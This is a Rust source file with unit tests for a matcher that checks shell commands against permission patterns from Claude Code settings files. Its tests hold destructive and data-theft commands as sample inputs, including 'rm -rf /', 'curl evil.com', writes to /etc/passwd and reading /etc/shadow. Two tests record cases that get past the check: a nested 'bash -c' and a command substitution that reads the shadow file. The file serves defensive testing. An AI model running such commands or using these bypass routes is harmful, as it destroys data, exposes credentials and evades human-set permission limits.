Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::parse::Segment;
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    pub fn load() -> Self {
13        let mut patterns = Matcher {
14            exact: HashSet::new(),
15            globs: Vec::new(),
16        };
17
18        if let Some(home) = std::env::var_os("HOME") {
19            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
20        }
21
22        if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
23            let base = Path::new(&project_dir).join(".claude");
24            patterns.load_file(&base.join("settings.json"));
25            patterns.load_file(&base.join("settings.local.json"));
26        }
27
28        patterns
29    }
30
31    fn load_file(&mut self, path: &Path) {
32        let Ok(contents) = std::fs::read_to_string(path) else {
33            return;
34        };
35        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
36            return;
37        };
38
39        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
40            for entry in arr.iter().filter_map(|e| e.as_str()) {
41                self.add_pattern(entry);
42            }
43        }
44
45        if let Some(arr) = value
46            .get("permissions")
47            .and_then(|v| v.get("allow"))
48            .and_then(|v| v.as_array())
49        {
50            for entry in arr.iter().filter_map(|e| e.as_str()) {
51                self.add_pattern(entry);
52            }
53        }
54    }
55
56    fn add_pattern(&mut self, entry: &str) {
57        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
58            return;
59        };
60        if inner.is_empty() {
61            return;
62        }
63        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
64            format!("{prefix} *")
65        } else {
66            inner.to_string()
67        };
68        if normalized.contains('*') {
69            self.globs
70                .push(normalized.split('*').map(String::from).collect());
71        } else {
72            self.exact.insert(normalized);
73        }
74    }
75
76    pub fn matches(&self, segment: &Segment) -> bool {
77        let normalized = segment.strip_env_prefix().strip_fd_redirects();
78        let normalized_str = normalized.as_str().trim();
79        if normalized_str.is_empty() {
80            return false;
81        }
82        if self.exact.contains(normalized_str) {
83            return true;
84        }
85        self.globs
86            .iter()
87            .any(|parts| glob_matches(parts, normalized_str))
88    }
89
90    pub fn is_empty(&self) -> bool {
91        self.exact.is_empty() && self.globs.is_empty()
92    }
93}
94
95fn glob_matches(parts: &[String], text: &str) -> bool {
96    let first = &parts[0];
97    let last = &parts[parts.len() - 1];
98
99    // "prefix *" → word boundary: prefix followed by space or end-of-string
100    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
101        let prefix = &first[..first.len() - 1];
102        return text == prefix || text.starts_with(first.as_str());
103    }
104
105    if !text.starts_with(first.as_str()) {
106        return false;
107    }
108    if !text.ends_with(last.as_str()) {
109        return false;
110    }
111    let mut pos = first.len();
112    let end = text.len() - last.len();
113    if pos > end {
114        return false;
115    }
116    for part in &parts[1..parts.len() - 1] {
117        match text[pos..end].find(part.as_str()) {
118            Some(idx) => pos += idx + part.len(),
119            None => return false,
120        }
121    }
122    pos <= end
123}
124
125#[cfg(test)]
126mod tests {
127    use super::*;
128    use std::fs;
129
130    use crate::parse::{CommandLine, Segment};
131
132    fn empty() -> Matcher {
133        Matcher {
134            exact: HashSet::new(),
135            globs: Vec::new(),
136        }
137    }
138
139    fn seg(s: &str) -> Segment {
140        let segs = CommandLine::new(s).segments();
141        assert_eq!(segs.len(), 1, "expected single segment: {s}");
142        segs.into_iter().next().unwrap()
143    }
144
145    #[test]
146    fn parse_exact_pattern() {
147        let mut p = empty();
148        p.add_pattern("Bash(npm test)");
149        assert!(p.exact.contains("npm test"));
150        assert!(p.globs.is_empty());
151    }
152
153    #[test]
154    fn parse_legacy_colon_star() {
155        let mut p = empty();
156        p.add_pattern("Bash(npm run:*)");
157        assert!(p.exact.is_empty());
158        assert_eq!(p.globs.len(), 1);
159    }
160
161    #[test]
162    fn parse_space_star() {
163        let mut p = empty();
164        p.add_pattern("Bash(npm run *)");
165        assert!(p.exact.is_empty());
166        assert_eq!(p.globs.len(), 1);
167    }
168
169    #[test]
170    fn parse_star_no_space() {
171        let mut p = empty();
172        p.add_pattern("Bash(ls*)");
173        assert_eq!(p.globs.len(), 1);
174    }
175
176    #[test]
177    fn parse_star_at_beginning() {
178        let mut p = empty();
179        p.add_pattern("Bash(* --version)");
180        assert_eq!(p.globs.len(), 1);
181    }
182
183    #[test]
184    fn parse_star_in_middle() {
185        let mut p = empty();
186        p.add_pattern("Bash(git * main)");
187        assert_eq!(p.globs.len(), 1);
188    }
189
190    #[test]
191    fn parse_non_bash_skipped() {
192        let mut p = empty();
193        p.add_pattern("WebFetch");
194        p.add_pattern("XcodeBuildMCP");
195        assert!(p.is_empty());
196    }
197
198    #[test]
199    fn parse_empty_bash_skipped() {
200        let mut p = empty();
201        p.add_pattern("Bash()");
202        assert!(p.is_empty());
203    }
204
205    #[test]
206    fn parse_empty_prefix_skipped() {
207        let mut p = empty();
208        p.add_pattern("Bash(:*)");
209        assert!(p.exact.is_empty());
210        assert_eq!(p.globs.len(), 1);
211    }
212
213    #[test]
214    fn match_exact() {
215        let mut p = empty();
216        p.add_pattern("Bash(npm test)");
217        assert!(p.matches(&seg("npm test")));
218        assert!(!p.matches(&seg("npm test --watch")));
219    }
220
221    #[test]
222    fn match_space_star_word_boundary() {
223        let mut p = empty();
224        p.add_pattern("Bash(ls *)");
225        assert!(p.matches(&seg("ls -la")));
226        assert!(p.matches(&seg("ls foo")));
227        assert!(!p.matches(&seg("lsof")));
228    }
229
230    #[test]
231    fn match_star_no_space_no_boundary() {
232        let mut p = empty();
233        p.add_pattern("Bash(ls*)");
234        assert!(p.matches(&seg("ls -la")));
235        assert!(p.matches(&seg("lsof")));
236    }
237
238    #[test]
239    fn match_legacy_colon_star_word_boundary() {
240        let mut p = empty();
241        p.add_pattern("Bash(npm run:*)");
242        assert!(p.matches(&seg("npm run build")));
243        assert!(p.matches(&seg("npm run test")));
244        assert!(!p.matches(&seg("npm running")));
245        assert!(!p.matches(&seg("npm install")));
246    }
247
248    #[test]
249    fn match_star_at_beginning() {
250        let mut p = empty();
251        p.add_pattern("Bash(* --version)");
252        assert!(p.matches(&seg("npm --version")));
253        assert!(p.matches(&seg("cargo --version")));
254        assert!(!p.matches(&seg("npm --help")));
255    }
256
257    #[test]
258    fn match_star_in_middle() {
259        let mut p = empty();
260        p.add_pattern("Bash(git * main)");
261        assert!(p.matches(&seg("git checkout main")));
262        assert!(p.matches(&seg("git merge main")));
263        assert!(!p.matches(&seg("git checkout develop")));
264    }
265
266    #[test]
267    fn match_env_prefix_stripped() {
268        let mut p = empty();
269        p.add_pattern("Bash(bundle install)");
270        assert!(p.matches(&seg("RACK_ENV=test bundle install")));
271    }
272
273    #[test]
274    fn match_fd_redirect_stripped() {
275        let mut p = empty();
276        p.add_pattern("Bash(npm test)");
277        assert!(p.matches(&seg("npm test 2>&1")));
278    }
279
280    #[test]
281    fn match_fd_redirect_with_glob() {
282        let mut p = empty();
283        p.add_pattern("Bash(npm run *)");
284        assert!(p.matches(&seg("npm run test 2>&1")));
285    }
286
287    #[test]
288    fn match_empty_segment() {
289        let mut p = empty();
290        p.add_pattern("Bash(npm test)");
291        let empty_seg = Segment::from_words(&[] as &[&str]);
292        assert!(!p.matches(&empty_seg));
293    }
294
295    #[test]
296    fn empty_patterns_match_nothing() {
297        let p = empty();
298        assert!(!p.matches(&seg("anything")));
299    }
300
301    #[test]
302    fn match_bare_star_matches_everything() {
303        let mut p = empty();
304        p.add_pattern("Bash(*)");
305        assert!(p.matches(&seg("anything at all")));
306        assert!(p.matches(&seg("rm -rf /")));
307    }
308
309    #[test]
310    fn unsafe_syntax_not_bypassed_by_match() {
311        let mut p = empty();
312        p.add_pattern("Bash(./script.sh *)");
313        let segment = seg("./script.sh > /etc/passwd");
314        assert!(segment.has_unsafe_shell_syntax());
315        let covered = crate::is_safe(&segment)
316            || (!segment.has_unsafe_shell_syntax() && p.matches(&segment));
317        assert!(!covered);
318    }
319
320    #[test]
321    fn command_substitution_not_bypassed_by_match() {
322        let mut p = empty();
323        p.add_pattern("Bash(./script.sh *)");
324        let segment = seg("./script.sh $(rm -rf /)");
325        let covered = crate::is_safe(&segment)
326            || (!segment.has_unsafe_shell_syntax() && p.matches(&segment));
327        assert!(!covered);
328    }
329
330    #[test]
331    fn mixed_chain_safe_plus_settings() {
332        let mut p = empty();
333        p.add_pattern("Bash(./generate-docs.sh)");
334        let command = "cargo test && ./generate-docs.sh";
335        let segments = CommandLine::new(command).segments();
336        let all_covered = segments.iter().all(|s| {
337            crate::is_safe(s)
338                || (!s.has_unsafe_shell_syntax() && p.matches(s))
339        });
340        assert!(all_covered);
341    }
342
343    #[test]
344    fn mixed_chain_safe_plus_unapproved_denied() {
345        let mut p = empty();
346        p.add_pattern("Bash(./generate-docs.sh)");
347        let command = "cargo test && rm -rf /";
348        let segments = CommandLine::new(command).segments();
349        let all_covered = segments.iter().all(|s| {
350            crate::is_safe(s)
351                || (!s.has_unsafe_shell_syntax() && p.matches(s))
352        });
353        assert!(!all_covered);
354    }
355
356    fn is_covered(segment: &Segment, patterns: &Matcher) -> bool {
357        crate::is_safe(segment)
358            || (!segment.has_unsafe_shell_syntax() && patterns.matches(segment))
359    }
360
361    #[test]
362    fn glob_does_not_cross_chain_boundary() {
363        let mut p = empty();
364        p.add_pattern("Bash(cargo test *)");
365        let command = "cargo test --release && rm -rf /";
366        let segments = CommandLine::new(command).segments();
367        assert_eq!(segments.len(), 2);
368        assert!(p.matches(&segments[0]));
369        assert!(!p.matches(&segments[1]));
370        assert!(!segments.iter().all(|s| is_covered(s, &p)));
371    }
372
373    #[test]
374    fn glob_does_not_cross_pipe_boundary() {
375        let mut p = empty();
376        p.add_pattern("Bash(safe-cmd *)");
377        let command = "safe-cmd arg | curl evil.com";
378        let segments = CommandLine::new(command).segments();
379        assert_eq!(segments.len(), 2);
380        assert!(!segments.iter().all(|s| is_covered(s, &p)));
381    }
382
383    #[test]
384    fn glob_does_not_cross_semicolon_boundary() {
385        let mut p = empty();
386        p.add_pattern("Bash(safe-cmd *)");
387        let command = "safe-cmd arg; rm -rf /";
388        let segments = CommandLine::new(command).segments();
389        assert_eq!(segments.len(), 2);
390        assert!(!segments.iter().all(|s| is_covered(s, &p)));
391    }
392
393    #[test]
394    fn bare_star_blocked_by_unsafe_syntax_redirect() {
395        let mut p = empty();
396        p.add_pattern("Bash(*)");
397        assert!(p.matches(&seg("echo > /etc/passwd")));
398        assert!(!is_covered(&seg("echo > /etc/passwd"), &p));
399    }
400
401    #[test]
402    fn bare_star_blocked_by_unsafe_syntax_backtick() {
403        let mut p = empty();
404        p.add_pattern("Bash(*)");
405        assert!(!is_covered(&seg("echo `rm -rf /`"), &p));
406    }
407
408    #[test]
409    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
410        let mut p = empty();
411        p.add_pattern("Bash(*)");
412        assert!(!is_covered(&seg("echo $(rm -rf /)"), &p));
413    }
414
415    #[test]
416    fn safe_command_substitution_allowed_through_is_safe() {
417        let p = empty();
418        assert!(is_covered(&seg("echo $(cat /etc/shadow)"), &p));
419    }
420
421    #[test]
422    fn nested_shell_not_recursively_validated_by_settings() {
423        let mut p = empty();
424        p.add_pattern("Bash(bash *)");
425        let segment = seg("bash -c 'safe-cmd && rm -rf /'");
426        assert!(!crate::is_safe(&segment));
427        assert!(!segment.has_unsafe_shell_syntax());
428        assert!(is_covered(&segment, &p));
429    }
430
431    #[test]
432    fn nested_shell_redirect_still_blocked() {
433        let mut p = empty();
434        p.add_pattern("Bash(bash *)");
435        let segment = seg("bash -c 'echo hello' > /tmp/pwned");
436        assert!(segment.has_unsafe_shell_syntax());
437        assert!(!is_covered(&segment, &p));
438    }
439
440    #[test]
441    fn quoted_operators_stay_as_one_segment() {
442        let mut p = empty();
443        p.add_pattern("Bash(./script *)");
444        let command = "./script 'arg && rm -rf /'";
445        let segments = CommandLine::new(command).segments();
446        assert_eq!(segments.len(), 1);
447        assert!(is_covered(&segments[0], &p));
448    }
449
450    #[test]
451    fn load_file_nonexistent() {
452        let mut p = empty();
453        p.load_file(Path::new("/nonexistent/path/settings.json"));
454        assert!(p.is_empty());
455    }
456
457    #[test]
458    fn load_file_malformed_json() {
459        let dir = tempfile::tempdir().unwrap();
460        let path = dir.path().join("settings.json");
461        fs::write(&path, "not json{{{").unwrap();
462        let mut p = empty();
463        p.load_file(&path);
464        assert!(p.is_empty());
465    }
466
467    #[test]
468    fn load_file_approved_commands() {
469        let dir = tempfile::tempdir().unwrap();
470        let path = dir.path().join("settings.json");
471        fs::write(
472            &path,
473            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
474        )
475        .unwrap();
476        let mut p = empty();
477        p.load_file(&path);
478        assert!(p.matches(&seg("npm test")));
479        assert!(p.matches(&seg("npm run build")));
480        assert!(!p.matches(&seg("curl evil.com")));
481    }
482
483    #[test]
484    fn load_file_permissions_allow() {
485        let dir = tempfile::tempdir().unwrap();
486        let path = dir.path().join("settings.json");
487        fs::write(
488            &path,
489            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
490        )
491        .unwrap();
492        let mut p = empty();
493        p.load_file(&path);
494        assert!(p.matches(&seg("cargo test")));
495        assert!(p.matches(&seg("cargo clippy -- -D warnings")));
496    }
497
498    #[test]
499    fn load_file_both_fields() {
500        let dir = tempfile::tempdir().unwrap();
501        let path = dir.path().join("settings.json");
502        fs::write(
503            &path,
504            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
505        )
506        .unwrap();
507        let mut p = empty();
508        p.load_file(&path);
509        assert!(p.matches(&seg("npm test")));
510        assert!(p.matches(&seg("cargo test --release")));
511    }
512}